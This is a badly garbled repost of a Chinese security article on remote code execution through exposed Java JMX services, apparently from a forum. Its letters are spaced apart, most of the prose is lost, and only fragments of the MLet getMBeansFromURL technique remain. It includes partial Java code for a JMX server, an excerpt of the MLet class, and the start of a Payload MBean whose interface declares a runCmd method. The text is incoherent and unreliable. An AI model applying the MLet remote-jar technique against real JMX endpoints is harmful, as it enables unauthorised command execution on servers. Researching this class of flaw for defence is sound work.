[15211] 2020-04-04_JMX远程代码漏洞研究

文档创建者:s7ckTeam
浏览次数:11
最后更新:2025-01-18
2020-04-04_JMX远程代码漏洞研究 J M X M r C o d i n g   F r e e B u f   2 0 2 0 - 0 4 - 0 4 a p a c e   s o l r   J M X j a v a J M X J M X J M X M B e a n J M X J a v a   M a n a g e m e n t   E x t e n s i o n s J a v a J M X J M X M B e a n j m x m b e a n J M X J M X j a v a j a v a j a v a j m x M b e a n M B e a n m b e a n x x x M B e a n , M B e a n S e r v e r M B e a n M B e a n S e r v e r M B e a n S e r v e r m b e a n m b e a n M B e a n S e r v e r m b e a n m b e a n s e r v e r m b e a n 使 j c o n s o l e 1 2 7 . 0 . 0 . 1 : 1 0 9 9 H e l l o M B e a n , H e l l o ( ) M B e a n M b e a n M L e t m b e a n 西 m b e a n M L e t m b e a n p u b l i c   s t a t i c   v o i d   m a i n ( S t r i n g [ ]   a r g s )   t h r o w s E x c e p t i o n { M B e a n S e r v e r   m B e a n S e r v e r   =   M a n a g e m e n t F a c t o r y . g e t P l a t f o r m M B e a n S e r v e r ( ) ; / / M B e a n S e r v e r     m b e a n O b j e c t N a m e   h e l l o N a m e   =   n e w   O b j e c t N a m e ( " H e l l o M b e a n : n a m e = H e l l o " ) ; m B e a n S e r v e r . r e g i s t e r M B e a n ( n e w   H e l l o ( ) ,   h e l l o N a m e ) ; R e g i s t r y   r e g i s t r y   =   L o c a t e R e g i s t r y . c r e a t e R e g i s t r y ( 1 0 9 9 ) ; / /   J M X S e r v i c e U R L J M X S e r v i c e U R L   j m x S e r v i c e U R L   =   n e w   J M X S e r v i c e U R L ( " s e r v i c e : j m x : r m i : / / / j n d i / r m i : / / l o c a l h o s t : 1 0 9 9 / j m x r m i " ) ; J M X C o n n e c t o r S e r v e r   j m x C o n n e c t o r S e r v e r   =   J M X C o n n e c t o r S e r v e r F a c t o r y . n e w J M X C o n n e c t o r S e r v e r ( j m x S e r v i c e U R L ,   n u l l ,   m B e a n S e r v e r ) ; j m x C o n n e c t o r S e r v e r . s t a r t ( ) ; S y s t e m . o u t . p r i n t l n ( " J M X C o n n e c t o r S e r v e r   i s   r u n n i n g " ) ; } s t a t i c   v o i d   J M X C l i e n t ( )   t h r o w s   E x c e p t i o n {           J M X S e r v i c e U R L   u r l   =   n e w   J M X S e r v i c e U R L ( " s e r v i c e : j m x : r m i : / / / j n d i / r m i : / / l o c a l h o s t : 1 0 9 9 / j m x r m i " ) ;           J M X C o n n e c t o r   j m x C o n n e c t o r   =   J M X C o n n e c t o r F a c t o r y . c o n n e c t ( u r l , / * *     *   E x p o s e s   t h e   r e m o t e   m a n a g e m e n t   i n t e r f a c e   o f   t h e   M L e t     *   M B e a n .     * /   p u b l i c   i n t e r f a c e   M L e t M B e a n       { p u b l i c   c l a s s   M L e t   e x t e n d s   j a v a . n e t . U R L C l a s s L o a d e r i m p l e m e n t s   M L e t M B e a n ,   M B e a n R e g i s t r a t i o n ,   E x t e r n a l i z a b l e   {   p r i v a t e   s t a t i c   f i n a l   l o n g   s e r i a l V e r s i o n U I D   =   3 6 3 6 1 4 8 3 2 7 8 0 0 3 3 0 1 3 0 L ; / * *   *   T h e   r e f e r e n c e   t o   t h e   M B e a n   s e r v e r . * /   p r i v a t e
M l e t M B e a n m b e a n M l e t g e t M B e a n F r o m U R L M b e a n g e t M B e a n F r o m U R L m b e a n m b e a n m l e t m l e t C O D E   =   c l a s s   M B e a n   J a v a   A R C H I V E   =   "   a r c h i v e L i s t   "   . j a r   M B e a n   使   M B e a n   N A M E   =   m b e a n n a m e   m - l e t   M B e a n   M B e a n   m b e a n n a m e   ( : )     M B e a n   M B e a n S e r v e r . g e t D e f a u l t D o m a i n ( ) 使 使 M e l t M B e a n M L e t M B e a n M B e a n J M X P a y l o a d . j a r m l e t m l e t J M X P a y l o a d . j a r w e b 使 r e g i s t e r M B e a n M B e a n S e r v e r M l e t 使 g e t M B e a n F r o m U R L P a y l o a d M B e a n 使 j s o n s o l e 1 2 7 . 0 . 0 . 1 : 1 0 9 9 p u b l i c   i n t e r f a c e   P a y l o a d M B e a n   {           p u b l i c   S t r i n g   r u n C m d ( S t r i n g   c m d )   t h r o w s   I O E x c e p t i o n ,   I n t e r r u p t e d E x c e p t i o n ;   }   p u b l i c   c l a s s   P a y l o a d   i m p l e m e n t s   P a y l o a d M B e a n   {           @ O v e r r i d e          
M B e a n S e r v e r m b e a n M B e a n S e r v e r m b e a n s e r v e r c l i e n t M B e a n S e r v e r m b e a n M B e a n S e r v e r m b e a n M B e a n S e r v e r . R e g i s t e r M B e a n m b e a n M B e a n S e r v e r C o n n e c t i o n . c r e a t e M B e a n m b e a n J c o n s o l e M l e t g e t M B e a n s F r o m U R L M b e a n , p a y l o a d
j s o n s o l e 使 J M X M B e a n S e r v e r M B e a n M B e a n m b e a n m b e a n j d k m b e a n m b e a n m l e t M l e t g e t M B e a n s F r o m U R L ( u r l ) , m b e a n p a y l o a d M B e a n M B e a n S e r v e r J M X j a v a 1 0 9 9 j m x 使 h t t p s : / / w w w . a p i r e f . c o m / j a v a 1 1 - z h / j a v a . m a n a g e m e n t / j a v a x / m a n a g e m e n t / l o a d i n g / M L e t . h t m l h t t p s : / / w w w . a n q u a n k e . c o m / p o s t / i d / 1 9 4 1 2 6 * M r C o d i n g F r e e B u f

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则